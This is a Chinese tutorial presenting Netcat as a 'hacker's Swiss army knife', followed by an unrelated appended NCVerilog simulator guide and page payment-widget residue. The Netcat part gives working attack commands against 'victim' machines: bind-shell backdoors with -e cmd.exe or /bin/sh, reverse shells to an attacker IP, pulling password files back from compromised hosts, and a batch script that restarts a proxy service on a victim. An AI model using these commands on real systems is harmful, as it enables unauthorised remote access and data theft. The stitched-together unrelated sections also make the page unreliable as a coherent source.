瑞士军刀NC使用教程

NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了


1. 写在前面的话 

###################################################################### 

NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大. 

对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了. 

1.1 NC.EXE是一个非标准的telnet客户端程序, 

1.2 还有一个putty.exe客户端程序,提供四种连接模式 

-raw -telnet -rlogin -ssh. 

虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。 

###################################################################### 

2. Netcat 1.10 for NT 帮助信息 

###################################################################### 

C:\WINDOWS\Desktop>nc -h 

[v1.10 NT] 

connect to somewhere: nc [-options] hostname port[s] [ports] ... 

listen for inbound: nc -l -p port [options] [hostname] [port] 

options: 

-d detach from console, background mode (后台模式) 

-e prog inbound program to exec [dangerous!!] 

-g gateway source-routing hop point[s], up to 8 

-G num source-routing pointer: 4, 8, 12, ... 

-h this cruft (本帮助信息) 

-i secs delay interval for lines sent, ports scanned (延迟时间) 

-l listen mode, for inbound connects (监听模式,等待连接) 

-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) 

-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析) 

-o file hex dump of traffic (十六进制模式输出文件,三段) 

-p port local port number (本地端口) 

-r randomize local and remote ports (随机本地远程端口) 

-s addr local source address (本地源地址) 

-t answer TELNET negotiation 

-u UDP mode 

-v verbose [use twice to be more verbose] (-vv 更多信息) 

-w secs timeout for connects and final net reads 

-z zero-I/O mode [used for scanning] (扫描模式,-vv) 

port numbers can be individual or ranges: m-n [inclusive] 
3. Netcat 1.10 常用的命令格式 

###################################################################### 

3.1.端口的刺探: 

nc -vv ip port 

RIVER [192.168.0.198] 19190 (?) open //显示是否开放open 



3.2.扫描器 

nc -vv -w 5 ip port-port port 

nc -vv -z ip port-port port 

这样扫描会留下大量的痕迹,系统管理员会额外小心 



3.3. 后门 

victim machine: //受害者的机器 

nc -l -p port -e cmd.exe //win2000 

nc -l -p port -e /bin/sh //unix,linux 

attacker machine: //攻击者的机器. 

nc ip -p port //连接victim_IP,然后得到一个shell。 



3.4.反向连接 

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. 

//或者wollf的反向连接. 

nc -vv -l -p port 

victim machine: 

nc -e cmd.exe attacker ip -p port 

nc -e /bin/sh attacker ip -p port 



或者: 

attacker machine: 

nc -vv -l -p port1 /*用于输入*/ 

nc -vv -l -p prot2 /*用于显示*/ 

victim machine: 

nc attacker_ip port1   cmd.exe   nc attacker_ip port2 

nc attacker_ip port1   /bin/sh   nc attacker_ip port2 



139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) 

这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件: 

3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来. 

nc -d -l -p port < path\filedest     /*attacker machine*/ 可以shell执行 

nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出 

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. 



3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡 

nc -vv -l -p port > path\file.txt      /*victim machine*/ 需要Ctrl+C退出 

nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell执行 

//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆. 



结论: 可以传输ascii,bin文件.可以传输程序文件. 



问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 

或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了? 





3.6 端口数据抓包. 

nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15 



< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr 

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 

< 00000084 83 00 00 01 8f # ..... 





3.7 telnet,自动批处理。 

nc victim_ip port < path\file.cmd   /*victim machine*/ 显示执行过程. 

nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 显示执行过程. 



nc -d victim_ip port < path\file.cmd 安静模式. 



_______________file.cmd________________________ 

password 

cd %windir% 

echo []=[%windir%] 

c: 

cd \ 

md test 

cd /d %windir%\system32\ 

net stop sksockserver 

snake.exe -config port 11111 

net start sksockserver 

exit

### NCVerilog 使用指南 NCVerilog 是一种功能强大的 Verilog 仿真工具,支持通过 Shell 或 GUI(NClaunch)进行操作。以下是关于 NCVerilog 命令的基本使用指南,涵盖常见操作和配置。 #### 1. 启动 NCVerilog 可以通过以下命令启动基于 ShellNCVerilog: ```bash ncverilog [选项] [文件列表] ``` 其中 `[选项]` 和 `[文件列表]` 是可选参数。例如: ```bash ncverilog -f file_list.txt ``` 上述命令会读取 `file_list.txt` 文件中的所有 Verilog 文件并进行编译和仿真[^1]。 #### 2. 单步模式与三步模式 NCVerilog 提供两种执行模式:单步模式(Single Step)和三步模式(Multiple Step)。在 Shell 版本中,可以通过以下命令切换模式: - **单步模式**: ```bash ncverilog -s [文件列表] ``` 单步模式适合于调试大批量任务,允许用户逐步检查仿真结果[^2]。 - **三步模式**: ```bash ncverilog [文件列表] ``` 默认情况下,NCVerilog 使用三步模式运行仿真。 #### 3. 波形查看 NCVerilog 的波形查看工具是 SimVision,它可以显示仿真过程中的信号变化、波形图以及原理图等信息。启动 SimVision 的方法如下: ```bash simvision wave_file.vcd ``` 上述命令会加载 `wave_file.vcd` 文件,并在 SimVision 中显示波形图[^1]。 #### 4. 常见选项 以下是一些常用的 NCVerilog 命令行选项: - `-f <文件>`:指定一个包含多个 Verilog 文件路径的文本文件。 - `-access +rw`:允许读写所有模块实例的信号。 - `-gui`:启动图形界面版本(NClaunch)。 - `-sv`:启用 SystemVerilog 支持。 - `-l <日志文件>`:生成日志文件以记录仿真过程中的信息。 例如,启动 NCVerilog 并启用 SystemVerilog 支持: ```bash ncverilog -sv -f file_list.txt -l simulation.log ``` #### 5. 调试技巧 在调试过程中,可以结合单步模式和波形查看工具 SimVision 来定位问题。例如: - 使用单步模式逐步运行仿真,观察关键信号的变化。 - 将仿真结果保存为 VCD 文件,并在 SimVision 中分析波形。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值